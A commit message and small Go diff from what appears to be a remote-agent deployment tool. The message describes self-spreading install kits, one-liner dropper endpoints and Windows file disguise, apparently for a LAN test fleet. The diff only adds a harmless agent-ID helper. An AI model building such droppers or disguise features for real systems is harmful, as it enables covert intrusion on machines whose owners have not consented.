Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/identity.go

@@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) {
 	return id, nil
 }
 
+// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
+func loadOrCreateAgentID(installDir string) (string, error) {
+	if id, err := LoadAgentID(installDir); err == nil && id != "" {
+		return id, nil
+	}
+	return EnsureAgentID(installDir)
+}
+
 // LoadAgentID returns the persisted agent ID from the install directory.
 func LoadAgentID(installDir string) (string, error) {
 	path := filepath.Join(installDir, agentIDFile)